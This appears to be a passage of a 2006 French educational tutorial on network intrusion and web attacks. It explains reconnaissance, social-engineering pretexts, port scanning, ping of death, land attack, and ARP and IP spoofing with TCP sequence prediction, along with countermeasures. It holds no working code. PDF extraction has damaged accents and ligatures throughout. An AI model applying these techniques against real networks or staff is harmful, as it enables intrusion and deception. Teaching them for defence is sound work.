You are on page 1of 45

Tutoriel s curit e e

Intrusions r seaux & attaques Web e


Version 1.3

Auteurs Professeur Institut Ecole Date

: : : : :

Jo l Winteregg - Massino Iritano e Stefano Ventura IICT (Institute for Information and Communication Technologies) http ://www.fullsecurity.ch - http ://www.iict.ch Heig-vd (Haute Ecole dIng nierie et de Gestion du Canton de Vaud) e 21 ao t 2006 u

Tutoriel s curi e e

Table des mati` res e


1 Vocabulaire et avant propos 1.1 Symboles utilis s dans les illustrations . . . . . . . . . . . . . . . . . . . . . . . . . . . e Recherche dinformations 2.1 Introduction . . . . . . . . . . . . . 2.2 M thodes de recherche . . . . . . . e 2.3 Social Engineering . . . . . . . . . 2.3.1 Par t l phonne . . . . . . . ee 2.3.2 Par courrier postal . . . . . 2.3.3 Par contact direct . . . . . . 2.3.4 Contre mesure . . . . . . . 2.4 Les scanners . . . . . . . . . . . . . 2.4.1 Les scanners dadresses . . 2.4.2 Les scanners de ports . . . . 2.4.3 Les scanners de vuln rabilit e e 3 4 4 4 4 5 5 5 5 5 7 7 7 7 7 7 8 9 11 11 13 13 14 17 18 20 21 22 22 24 24 24 25 26 27 29 31

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

Intrusion 3.1 D ni de services (DoS) . . . . . . . . . . . e 3.1.1 DoS niveau 2 . . . . . . . . . . . . 3.1.2 DoS de niveau 3 (ping of Death) . . 3.1.3 DDoS (distributed deny of Services) 3.1.4 Land Attack . . . . . . . . . . . . . 3.2 Spoong . . . . . . . . . . . . . . . . . . . 3.2.1 ARP Spoong . . . . . . . . . . . 3.2.2 IPspoong . . . . . . . . . . . . . 3.2.3 DNSspoong . . . . . . . . . . . . 3.3 Hijacking . . . . . . . . . . . . . . . . . . 3.4 Buffer Overow . . . . . . . . . . . . . . . 3.4.1 Structure de la m moire . . . . . . e 3.4.2 Stack Overow . . . . . . . . . . . 3.4.3 Heap Overow . . . . . . . . . . . 3.4.4 En r sum . . . . . . . . . . . . . . e e 3.5 Attaques du niveau 2 du mod` le OSI . . . . e 3.5.1 Attaque sur un Switch . . . . . . . 3.5.2 VLAN Hopping . . . . . . . . . . 3.6 Troyens et Backdoors . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

Les attaques Web 4.1 Le top 10 des attaques Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.2 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

4.3

4.4

4.5

4.6 4.7 4.8 4.9 5

4.2.1 Evaluation de lSQL Injection sur une application/script Web . 4.2.2 Injection directe . . . . . . . . . . . . . . . . . . . . . . . . 4.2.3 Injection apostroph e . . . . . . . . . . . . . . . . . . . . . . e 4.2.4 Exemple dattaques . . . . . . . . . . . . . . . . . . . . . . . Cross-Site-Scripting XSS . . . . . . . . . . . . . . . . . . . . . . . . 4.3.1 Principe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.3.2 Scripts malveillants . . . . . . . . . . . . . . . . . . . . . . . 4.3.3 Protection contre le XSS . . . . . . . . . . . . . . . . . . . . Cross-Site-Tracing XST . . . . . . . . . . . . . . . . . . . . . . . . 4.4.1 Principe de la requ te HTTP TRACE . . . . . . . . . . . . . e 4.4.2 Principe du XST . . . . . . . . . . . . . . . . . . . . . . . . 4.4.3 Protection contre le XST . . . . . . . . . . . . . . . . . . . . Buffer Overow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.5.1 Buffer overow sur le serveur Web lui-m me . . . . . . . . . e 4.5.2 Buffer overow sur une application Web . . . . . . . . . . . Man in the middle . . . . . . . . . . . . . . . . . . . . . . . . . . . . Erreur de conguration du serveur Web . . . . . . . . . . . . . . . . Commentaires laiss s dans le code HTML . . . . . . . . . . . . . . . e Le phishing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . .

31 32 32 32 35 35 36 37 38 38 38 40 40 40 40 41 42 42 43 43

R f rences ee

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

Vocabulaire et avant propos

Les Intrusions r seau repr sentent les attaques utilisant les couches 2, 3 et 4 du mod` le OSI (couche de e e e Lien, R seau et Transport). Celles-ci se basent souvent sur la r solution des adresses, le routage des e e paquets ou des d fauts dimpl mentation des diff rents protocoles sur les syst` mes dexploitation. e e e e Il nous est possible de classier les intrusions r seau en deux sous-ensembles : e Attaques visant les failles dun protocole Le protocole ARP est un exemple typique, puisquil est facilement utilisable pour du spoong1 (ARPspoong). Attaques visant les failles dimpl mentation Il sagira, dans ce cas, dutiliser les erreurs dimpl mentation e e du protocole ou dun service sur le syst` me dexploitation de la victime. e ` Les attaques Web , quant a elles, repr sentent les attaques visant directement les serveurs Web ou les e applications sex cutant sur ceux-ci. Ces applications Web sont des programmes ecrits par des e ` Webmaster servant a la g n ration dynamique2 des pages HTML (.jsp, .php, .asp, etc..) fournies e e au client. Ces applications souvent mal programm es, sont particuli` rement vuln rables aux e e e attaques Web (attaques du site Web en question). Pour cette classe dattaques, il nous est aussi possible de d nir deux sous-ensembles : e Attaques visant le programme serveur offrant le service Web (Apache, IIS) Il sagira, dans ce cas, de lutilisation de failles dimpl mentation du programme serveur (typiquement un Bufe fer Overow). Attaques visant les applications h berg es par le serveur Web Il sagira ici dattaquer lapplie e ` cation Web elle-m me via les champs de saisies offerts a lutilisateur. e Les intrusions et attaques Web sont en nette progression depuis ces derni` res ann es, notamment les e e ` intrusions visant lacc` s au r seau LAN ou a un sous-r seau dune entreprise. Actuellement, la majeure e e e partie des intrusions sont directement faites par des collaborateurs de lentreprise mal intentionn s. e Ce tutorial a comme objectif de pr senter une s lection dattaques possibles sur les r seaux informatiques e e e et serveurs Web. Ces attaques sont classi es par cat gorie et seule la partie th orique sera sp ci e. Ces e e e e e attaques ont, comme objectif, de faire des d nis de services, des interceptions de mots de passe, etc... e Ce document a un but purement educatif et ces attaques ne doivent etre ex cut es que dans le but de e e mettre en evidence certaines faiblesses de protocoles et de programmation. Il nest pas question de former de nouveaux crackers.
1 2

Art de se faire passer pour quelquun dautre (usurpation didentit ) e Cr ation dynamique de la page HTML du c t serveur en fonction des param` tres entr s par le client e oe e e

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

1.1

Symboles utilis s dans les illustrations e


Utilisateur Routeur (symbole Cisco)

Serveur

Switch (symbole Cisco)

Pirate (cracker)

Hub (symbole Cisco)

Analyseur

2
2.1

Recherche dinformations
Introduction

Avant toute attaque, quelle soit interne ou externe, il faut dabord passer par la phase de la prise dinformations : lieu, adresse IP, type dOS, etc ... Tout comme un voleur ne cambriolera pas une maison sans avoir rep r les lieux et s tre inform sur le syst` me de d tection. Cest apr` s cette prise dinformations ee e e e e e que la strat gie dattaque sera etablie. e

2.2

M thodes de recherche e

Pour parvenir a trouver des informations sur une entreprise ou un nom de domaine il y a plusieurs moyens, dont : 1. Les annuaires Whois 2. Nslookup 3. Traceroute e Ces annuaires contiennent des informations sur les entreprises ou les domaines qui ont et fournies lors de lenregistrement aux organismes responsables. On peut les consulter sur Internet ou par des logiciels. ` ` Par exemple, pour la Suisse, il faut sadresser a Switch3 . Nslookup consiste a interroger un serveur DNS ` ou un serveur de noms de domaine a laide dun client nslookup disponible sur toutes les plates-formes.
3

http ://www.switch.ch

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

Les logiciels traceurs de route comme traceroute, visual route et dautres, consistent a etablir la topologie entre la personne poss dant le programme et une cible. e

2.3

Social Engineering

Il sagit dune m thode qui na pas recours au logiciel (pour une fois). Les informations vont etre cole lect es directement aupr` s des utilisateurs, ou encore mieux, aupr` s des administrateurs r seaux par des e e e e strat gies de persuasion. Il y a diff rentes mani` res dentrer en contact avec les utilisateurs ou les admie e e nistrateurs r seaux. e 2.3.1 Par t l phonne ee

La personne appelant le HelpDesk ou le service informatique se fera passer pour une personne de lentreprise an dobtenir des informations, tel que mot de passe ou autre param` tre permettant lauthentie cation sur le r seau ou sur un serveur. Lappelant aura pr alablement pr par son texte et son personnage e e e e de facon a etre le plus cr dible possible. Pour augmenter la cr dibilit , des bruits de fond peuvent etre ` e e e ajout s comme les bruits des coll` gues de bureau. e e 2.3.2 Par courrier postal

Il est possible de recevoir une lettre au format r alis e avec logo, adresse, num ro de t l phone et avec, e e e ee comme adresse de retour, une boite aux lettres dune soci t ctive. ee 2.3.3 Par contact direct

Cest une m thode de recherche dinformations tr` s difcile pour le cracker mais encore plus difcile e e pour la victime qui doit se rendre compte quil sagit dune personne mal intentionn e. De ce fait, le e cracker devra faire tr` s attention an de ne pas se d voiler au cours de la confrontation. e e 2.3.4 Contre mesure

Nous avons vu dans les m thodes de recherches (section 2.2 page 4), quil etait possible de trouver e des informations sur les entreprises a laide dannuaires. Ci dessous, nous pouvons voir les informations li es a lHeig-vd, provenant dune recherche sur un annuaire whois, a laide dun programme client e pr alablement install . Il est donc possible de directement interroger ces bases de donn es distantes. Nous e e e avons aussi la possibilit dinterroger ces annuaires, via une page web (http ://www.ripe.net/db/whois/whois.html), e qui appellera la commande whois et retournera le r sultat au browser. e
jwintere@debian:$ whois heig-vd.ch whois: This information is subject to an Acceptable Use Policy. See http://www.switch.ch/id/terms/aup.html

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

Domain name: heig-vd.ch Holder of domain name: Ecole dIngenieurs du Canton de Vaud Christian Kunze Direction Route de Cheseaux 1 CH-1400 Yverdon-les-Bains Switzerland Contractual Language: English Technical contact: Ecole dIngenieurs du Canton de Vaud Michel Burnand Informatique route de Cheseaux 1 CH-1400 Yverdon-les-Bains Switzerland Name servers: eivdns-2.eivd.ch eivdns.eivd.ch scsnms.switch.ch scsnms.switch.ch scsnms.switch.ch

[193.134.216.151] [193.134.216.150] [130.59.1.30] [130.59.10.30] [2001:620:0:0:0:0:0:1]

Date of last registration: 24.01.2005 Date of last modification: 14.04.2005

Nous remarquons que nous obtenons tr` s facilement le nom du directeur, ainsi que celui du responsable e technique. Les noms disponibles sur ces annuaires devraient etre des noms ctifs de telle sorte que, lorsquune personne appelle ou se pr sente au guichet dinformations dans lintention de parler au rese ponsable nomm X, cela devrait eveiller les soupcons de la victime et du coup engendrer de la m ance. e e ` Pour pallier ce ph nom` ne, il faudrait sensibiliser le personnel de lentreprise et lui appendre a dialoguer e e sans r v ler des donn es importantes en lui montrant toutes les techniques et sc narii possibles. Un e e e e cracker ne se contentera pas den appliquer une, il organisera tout un sc nario qui pourrait commencer e par un coup de t l phone et par la suite un rendez-vous, etc... ee

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

2.4
2.4.1

Les scanners
Les scanners dadresses

Les scanners permettent a un utilisateur de connatre tous les h tes actifs dans un r seau. La m thode o e e ` ` employ e est la scrutation dadresse IP qui consiste a envoyer des requ tes ICMP (ping) a toute la plage e e ` dadresses du r seau. Il sufra de recevoir une r ponse a un ping emis an den d duire quun h te actif e e e o ` dispose de cette adresse IP. Si ce test est effectu sur plusieurs jours et a diff rentes heures, il est possible e e de distinguer les serveurs et les postes de travail (` moins les postes de travail restent constamment a ` allumes). Cette m thode de recherche est efcace dans une entreprise, mais, a lext rieur de celle-ci elle e e 4 pour sortir sur Internet, aucune machine d pend de la politique de lentreprise, car si celle-ci utilise NAT e ` a lint rieur du LAN de lentreprise ne sera accessible par le Web (topologie cach e par le NAT). e e 2.4.2 Les scanners de ports

Les scanners de ports permettent de connatre quels services5 sont actifs sur la machine. Comme chaque service bien connu (comme ftp, ssh, netBios, etc..) utilise un ou des ports bien d ni (well known port), e le scanner va envoyer un message sur chaque port et selon la r ponse, il d terminera si le port eberge e e un service connu ou non. Pour ce faire, il faut utiliser un scanner qui puisse tester chacun des ports par les protocoles TCP et UDP. Il sera ensuite possible d tablir la liste des services r seaux activ s sur la e e e machine cible. 2.4.3 Les scanners de vuln rabilit e e

Les scanners de vuln rabilit poss` dent une base de donn es de toutes les vuln rabilit s des syst` mes e e e e e e e et des attaques possibles, de telle mani` re a tester toutes les attaques Web et intrusions r pertori es. Il e ` e e 6 ou Nikto7 existe diff rents scanners de vuln rabilit comme Nessus e e e

3
3.1

Intrusion
D ni de services (DoS) e

Les attaques par d ni de services (Denial of Service, DoS) ont pour m me but de rendre indisponible e e la victime ou le service de la victime ou encore de rendre inop rant tout un r seau. Ce genre date e taques peut etre ex cut a diff rents niveaux du mod` le OSI. Ces attaques vont proter de la faiblesse de e e` e e
Network Address Translation, Lentreprise enti` re sortira sur Internet avec une seule et unique adresse IP e Programme serveur sex cutant sur une machine e 6 logiciel Open Source disponible a : http ://www.nessus.org 7 logiciel Open Source permettant de relever les vuln rabilit s de serveurs Web uniquement, disponible sur : e e http ://www.cirt.net/code/nikto.shtml
5 4

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

limpl mentation de diff rents protocoles ou proter derreurs de programmation dapplications. Seule e e une partie de ces attaques sera pr sent e dans ce document. e e 3.1.1 DoS niveau 2

Si les machines dun LAN sont interconnect es via un Switch, il est alors possible de rendre une mae chine inaccessible au r seau de lentreprise. Puisquun Switch associe ladresse MAC des machines avec e les ports du Switch lui-m me dans une table CAM (Content Address Memory). La gure 1 illustre la e conguration automatique de la table CAM (apr` s l change de quelques trames). e e

F IG . 1 Auto-conguration initiale du Switch Il sera possible de provoquer un d ni de service sur une station (utilisateur) en g n rant des trames avec e e e ladresse MAC de la victime sur un port diff rent du switch de celui ou la victime est connect e. Celui-ci e e pensera que la victime a d plac sa machine et associera son adresse MAC sur le nouveau port. Ainsi, e e la victime ne pourra plus acc der (ou seulement partiellement) au r seau, puisque le Switch aura associe e e son adresse MAC sur le port o` se trouve le cracker. Elle ne recevra donc plus les paquets qui lui sont u ` destin s (cest le cracker qui les recevra a sa place). La gure 2 illustre cette situation. e ` ` Nous remarquons que si la victime emet a nouveau des trames sur le r seau, le Switch enregistrera a e ` nouveau le bon port avec son adresse MAC. Ceci jusquau moment ou le cracker emettra a son tour de nouvelles trames sur le r seau. Il devra donc envoyer r guli` rement des trames an de garentir le d ni de e e e e service. Le m me principe peut etre appliqu au cache ARP dun routeur (en lui envoyant des r ponses ARP). Il e e e sufra de pr ciser dans la r ponse ARP, que lIP B est atteignable par ladresse MAC de X et que lIP e e A par ladresse MAC Y. De ce fait les paquets pour B seront envoy s sur la station A et vice-versa. En e m langeant ainsi lassociation dadresse IP - MAC de tout le r seau, le routeur ne r pondra plus aux e e e bonnes stations, ce qui provoquera un d ni de service. e

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

F IG . 2 D tournement des paquets par le cracker e 3.1.2 DoS de niveau 3 (ping of Death)

` Le principe est denvoyer a la victime un paquet IP surdimensionn pour que le syst` me de la victime se e e mette en attente ou crash. Il sagit en fait dun buffer overow de limpl mentation de la couche IP (nous e aborderons cet type dattaques dans la section 3.4 de ce tutorial) qui a pour but de mettre hors service une ` station. Nous allons maintenant etudier le principe de lattaque a laide des sp cications des protocoles e IP et Ethernet. Le protocole IP a d ni quune trame IP ne doit pas d passer 65535 octets. Cest donc en e e envoyant une trame IP sup rieure au nombre doctets maximum que lon obtient le crash de la machine e e de la victime (la r cup ration de lexception na donc pas et impl ment e dans le stack IP) . Pour mieux e e e e comprendre comment cela fonctionne, voyons tout dabord comment est structur un paquet IP (gure e 3) et comment celui-ci est envoy dans un r seau. e e Tous les champs ne seront pas d cortiqu s dans cette partie. Nous allons voir les champs importants lors e e de la fragmentation : Total Length Ce champ indique la longueur totale du paquet IP en y incluant la longueur de len-t te. e Flags Ce champ est constitu de trois bits (0/D/M) qui sont utilis s lors de la fragmentation des paquets : e e 1. Bit 0 : Bit r serv ayant comme valeur 0. e e ` 2. Bit D : Lorsque ce bit est a 1, il indique aux routeurs quil nest pas possible de fragmenter ce paquet. ` e 3. Bit M : Lorsque ce bit est a 1, il indique que la trame a et fragment e et quil reste dautres e ` ` fragments a acqu rir. Si celui-ci est a 0 et que le fragment offset est diff rent de 0, cela e e ` indique que le fragment est le dernier du paquet. Si par contre il est a 0 ainsi que le fragment e offset, cela indiquera que le paquet na pas et fragment . e Fragment Offset Indique la position du fragment recu dans le paquet nal (reconstitu ). Il donne la e position du premier byte du fragment (trame IP sans lent te) dans le paquet nal. Cette position e est donn e par saut de 8 bytes. e

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

F IG . 3 Champs dune trame IP ` e Gr ce a ces trois champs, un r cepteur arrive a reconstituer un paquet IP qui a et fragment . La fragmena ` e e tation des paquets IP est n cessaire lorsque ceux-ci d passent 1500 bytes (ent te compris). Ceci vient du e e e fait que la trame IP est directement pass e a la couche 2 (MAC, sur un r seau LAN) qui naccepte pas e ` e de PDU de niveau 3 plus grand que 1500 bytes. Le protocole utilis lors dun ping est ICMP. Celui-ci est directement encapsul dans la trame IP, comme e e lillustre la gure 4. Lorsque le ping est de grande taille(par exemple : ping -l 60000) les data de la trame ICMP seront dune taille de 60000 octets, auquels ICMP ajoutera une ent te de 8 octets, par cons quent e e la trame IP aura une taille de 60028 octets.

F IG . 4 Encapsulation dune trame de contr le ICMP dans un paquet IP o Comme expliqu pr c demment, la trame Ethernet (couche MAC) naccepte pas des PDU de la couche 3 e e e ` plus grand que 1500 octets. La couche 3 va donc devoir fragmenter son paquet a transmettre en fragments de 1500 octets, comme lillustre la Figure 5. Le champ Total Length indiquera la longueur de chaque fragment IP : dans cet exemple cette valeur sera toujours de 1500 octets (trame totalement remplie), sauf ` pour la derni` re trame. Le champ Flags sera quant a lui toujours 001 sauf pour la derni` re trame qui e e vaudra 000 indiquant ainsi quil sagt du dernier fragment. Le champ Fragment Offset part depuis 0 et

10

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

` sincr mente de 185 a chaque trame. Cette valeur (185) provient du fait quune trame IP a une longeur e de 1500 octets - 20 octets de len-t te IP, qui font 1480. Loffset sindiquant par sauts de 8 bytes, nous e devons donc diviser 1480 par 8, ce qui nous donne bien 185. Ainsi il faudra un peu plus de 40 trames Ethernet an de transmettre un ping -l 60000.

F IG . 5 Fragmentation IP Les fragments du paquet etant stock dans un buffer (du c t du r cepteur du ping), il arrivera un moe oe e ment o` le nombre de byte contenu dans celui-ci d passera la taille maximum du buffer. Le stack IP u e ecrira alors dans une plage m moire qui ne lui etait pas r serv e, ce qui provoquera un crash g n ral du e e e e e syst` me (principe dun buffer overow). e Cette attaque etait tr` s populaire il y a 10 ans, mais de nos jours il est moins facile denvoyer un ping e ` avec une taille sup rieure a 65535 octets puisque les syst` mes dexploitations actuels testent la taille du e e e ` payload du ping avant denvoyer le paquet. De plus, les stack IP ont et mis a jour an de ne plus etre ` vuln rables a ce genre dattaques. e 3.1.3 DDoS (distributed deny of Services)

Ce type dattaque a aussi but de rendre inop rante une machine ou un service (Dos). Cette fois-ci, le e cracker se fera aider par dautres machines pour ex cuter cette attaque. Lorsquil d cidera dattaquer e e sa victime, toutes les machines lanceront en m me temps lattaque sur la victime (Figure 6). Il est plus e difcile de se prot ger de ce genre dattaques, puisque les adresses IP sources des paquets constituant e ` lattaque seront a chaque fois diff rentes. e 3.1.4 Land Attack

Apr` s avoir trouv un port TCP ouvert (serveur TCP) sur la station de la victime, il sera possible dene e voyer une demande de connexion TCP SYN ayant comme adresse IP source ladresse IP de la victime et comme port source, le port ouvert de celle-ci. Lorsque le serveur (station de la victime) voudra r pondre e

11

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

F IG . 6 Principe dun d ni de service distribu e e par la trame SYN/ACK habituelle, son stack ne saura pas comment traiter cette r ponse, puique ladresse e et le port sources du TCP SYN deviendront ladresse et le port de destination du TCP - SYN/ACK du segment TCP. Le syst` me de la victime se mettra alors en attente (crash). e e La gure 7 illustre une connexion TCP correcte, alors que la gure 8 illustre lattaque d crite ci-dessus.

F IG . 7 Connexion TCP classique Pour se pr munir de ce genre dattaque, il va falloir installer les correctifs logiciels ad quats ou alors e e installer un Firewall8 . Actuellement cette attaque nest plus r alisable puisque tous les stack de commue e ` nications ont et mis a jour.
8

` Par feu, permettant de bloquer lacc` s aux ports non utilis s de la machine ou du segment r seau a prot ger e e e e

12

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

F IG . 8 Connexion TCP classique

3.2

Spoong

Le terme spoong signie usurpation didentit . Par cons quent, les attaques de cette famille consistent e e ` a se faire passer pour une machine dans le but dobtenir la conance ou lapprobation de la victime. 3.2.1 ARP Spoong

Cette attaque est une attaque de niveau 2 (couche liaison) car elle utilise le protocole ARP, utilis pour e la r solution dadresse IP en une adresse MAC dans les r seaux Ethernet. e e ` Lorsquune station veut envoyer des messages a une autre station, elle utilise ladresse IP de la station distante comme adresse IP de destination. Si les deux stations se trouvent dans le m me sous-r seau, e e mettrice pourra directement envoyer le message a la station destinatrice. Si, par contre, la ` la station e ` ` station destinatrice appartient a un autre sous-r seau, la station emettrice devra envoyer son message a e son routeur par d faut an quil le relaie. Dans ces deux cas, ladresse permettant didentier la station e destinatrice ou le routeur, sont des adresses locales (appartenant au m me LAN adresses MAC). An e de connatre ladresse MAC du destinataire (station de destination ou routeur par d faut), la machine e source va devoir emettre une requ te ARP (en broadcast) en sp ciant ladresse IP du destinataire. Le e e destinataire se reconnatra (son adresse IP) et enverra une r ponse ARP qui pr cisera son adresse MAC. e e Cette r ponse est conserv e dans le cache ARP de la station emettrice qui va contenir toutes les assoe e ciations dadresses pour une dur e d termin e. Ceci permettra d viter d mettre des requ tes ARP pour e e e e e e e ` chaque paquet emis . La Figure 9 nous montre une situation dacc` s a Internet lorsque les cache ARP des diff rents acteurs de la connexion sont correcte. e Le cache ARP de chaque station peut etre modi sans pour autant que la station ait emis une requ te e e ` ` ARP. LARPspoong consiste donc a envoyer des r ponses ARP a la victime dans le but de modier son e cache. Le cracker envera donc des r ponses ARP contenant son adresse MAC, associ e a ladresse IP du e e `

13

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

F IG . 9 Acc` s a internet sans ARPspoong (cache ARP de chaque station correcte) e ` Gateway9 (IP B sur la gure 9 et 10) sur la station de la victime. De cette facon tout le trac partant de la victime en direction du routeur sera redirig sur la machine du cracker puisque la station victime (IP e ` A) pensera que le routeur (IP B) est a ladresse MAC Z. Si le cracker active une fonction de routage sur sa machine, les paquets pourront tout de m me etre relay sur le routeur de sortie. De cette mani` re, le e e e routeur et la victime ne se rendront compte de rien. La Figure 10 illustre cette situation. Cette attaque est possible sur toutes les machines du sous-r seau (jusquau routeur). De plus, il est e possible dempoisonner le cache ARP du gateway pour que les informations de retour passent par la machine du cracker. 3.2.2 IPspoong

Cette attaque est une attaque de niveau 3 (couche r seau). LIPspoong permet de cacher la source de e lattaque sur une cible. Linconv nient viens du fait que la victime utilisera ladresse usurp e pour emettre e e ` ses messages de retour. De ce fait ces messages iront a la personne ayant son adresse IP usurp e et non au e ` cracker. Cest donc pour cela que ce genre dattaque sappelle attaque a laveugle (Blind Spoong). Il ` faudra aussi prendre garde a mettre hors service (DoS) la machine ayant son adresse usurp e an quelle e ninteragisse pas pendant lattaque. Ce genre dattaque implique aussi le fait que lattaquant doit pouvoir pr dire les num ros de s quences du protocole TCP an que la liaison reste etablie. e e e Il reste n anmoins possible de r cup rer les paquets de retour avec les deux m thodes que nous allons e e e e vous pr senter : e 1. Le source routing
9

Routeur par d faut e

14

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

` F IG . 10 ARPspoong (redirection des messages a destination du routeur) 2. Le reroutage Champs doption de la trame IP Le source routing fait partie du champ option de lent te IP (Figure e ` 3, page 10). Sans ces options lent te IP a une longueur minimale de 20 octets mais si des options e sont impl ment es celle-ci peut etre plus grande. Le champ option permet dimpl menter les propri t s e e e ee suivantes (facultatives) : S curit e e Internet Timestamp Record Route Source Routing Le champ doption est de taille variable, mais doit etre un multiple de 32 bits. Si ce nest pas le cas, il sera rempli par des bits de bourrages (Padding). Sa structure (Figure 11) permet donc denglober plusieurs options dans le m me champ. e

F IG . 11 structure du champ doption de la trame IP

S curit Ce champ permet aux h tes de sp cier des param` tres de s curit , de compartimentation, de e e o e e e e restriction, de traitement et des groupes utilisateurs ferm s. Cette option est tr` s peu, voir pas utilis e. e e e

15

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

Internet Timestamp Par cette option on va pouvoir enregistrer les marques de temps (dur e en millie ` secondes ecoul es depuis minuit GMT) correspondant a lheure de r ception de chaque routeur ainsi que e e leur adresse IP. Lorsquon fait un ping s 4, cette option est utilis e. Celle-ci est limit e a un maximum de e e ` quatre adresses IP puisque lent te a une taille maximum de 60 bytes. e Record Route Par cette option on va pouvoir par exemple enregistrer tous les noeuds (adresse IP de routeurs, rewall, etc..) emprunt s par un paquet. En effectuant un ping -R, chacun des noeud travers e e par ce paquet, placera ladresse de son interface de sortie dans le champ doption du paquet IP. Comme lent te IP est limit e a un maximum de 60 bytes, Il nous sera possible denregistrer un maximum de 8 e e ` ` adresses IP, ce qui correspond a quantre noeuds (4 adresses IP pour laller et 4 autres pour le retour du paquet). Source Routing Lorsque des paquets sont envoy s dans les r seaux, ce sont les routeurs qui sont e e charg s de trouver le chemin appropri pour acheminer ces paquets. Par cette option il est possible de e e ` sp cier par o` doivent passer les paquets. Cette sp cication doit se faire a la source, cest pour cela e u e ` quil est possible au cracker de recevoir les paquets de retour. Il y a deux routages a la source possibles : ` LSR Loose Source Routing (routage a la source non strict) : lexp diteur d nit une liste dadresses IP e e que les paquets doivent emprunter, mais ceux-ci peuvent passer par dautres adresses. En dautres termes, on ne se pr occupe pas des endroits o` passent les paquets pour autant quils passent par e u les adresses sp ci es (type 137). e e ` SSR Strict Source Routing (routage a la source strict) : lexp diteur d nit une liste dadresses IP que e e les paquets doivent emprunter. Si le chemin est inaccessible ou impossible alors les paquets seront supprim s et un message ICMP destination inaccessible sera envoy a son exp diteur. Dans ce e e` e cas les routeurs ne doivent pas inuencer la destination des paquets (type 131). La Figure 12, illustre la structure de loption Source Routing. Avec cette option le cracker peut rediriger les paquets en sa direction (jusqu` un routeur dont il a le contr le). Il est bien de noter que la majeur a o partie des impl mentation IP des routeurs rejettent cette option. e

F IG . 12 Structure du champ facultatif source routing (ensuite int gr dans le champ Option de la trame e e IP)

Reroutage Par cette m thode, le cracker doit matriser un routeur. Ainsi, il lui suft denvoyer des e messages de routage RIP ou ICMP redirect (message permettant d crire dans une table de routage via e

16

Jo l Winteregg - Massino Iritano, IICT c e

Tutoriel s curi e e

un paquet ICMP) aux autres routeurs an de rerouter les messages de retour dans sa direction. Ces techniques (reroutage ou Source Routing) ne sont plus ou difcilement utilis es, puisque par exemple e ` les paquets ICMP redirect ne sont pas admis par tous les routeurs. De ce fait, lattaque a laveugle est bien souvent la seule solution pour lIPspoong. lattaque se fera en plusieurs etapes : ` D terminer ladresse IP a usurper e e Mise hors service de la machine dont ladresse a et usurp e e Pr diction du num ro de s quence TCP e e e e e Pour la mise hors service de la machine, il faudra appliquer une des m thodes de d ni de service (section 3.1). Si cela nest pas fait, la machine usurp e recevra un SYN/ACK lorsque le cracker tentera de se e connecter sur une machine avec ladresse usurp e. La machine usurp e enverra alors un RST (reset), qui e e aura pour effet de stoper la connexion TCP. La pr diction de num ro de s quence TCP doit tenir compte de limpl mentation de la pile TCP/IP du e e e e syst` me dexploitation. Celui-ci peut g n rer ces num ro de s quence de diff rentes mani` res : e e e e e e e Lin aire e D pendante du temps e Pseudo-al atoire e Al atoire selon les syst` mes e e Pour que cette attaque soit possible, le syst` me de g n ration doit etre lin aire ou d pendant du temps, e e e e e puisquil rel` ve de limpossible de trouver une s quence al atoire ou m me pseudo-al atoire. Pour poue e e e e voir d terminer le num ro de s quence, il est imp ratif davoir plusieurs connections TCP sur la victime e e e e an de les analyser 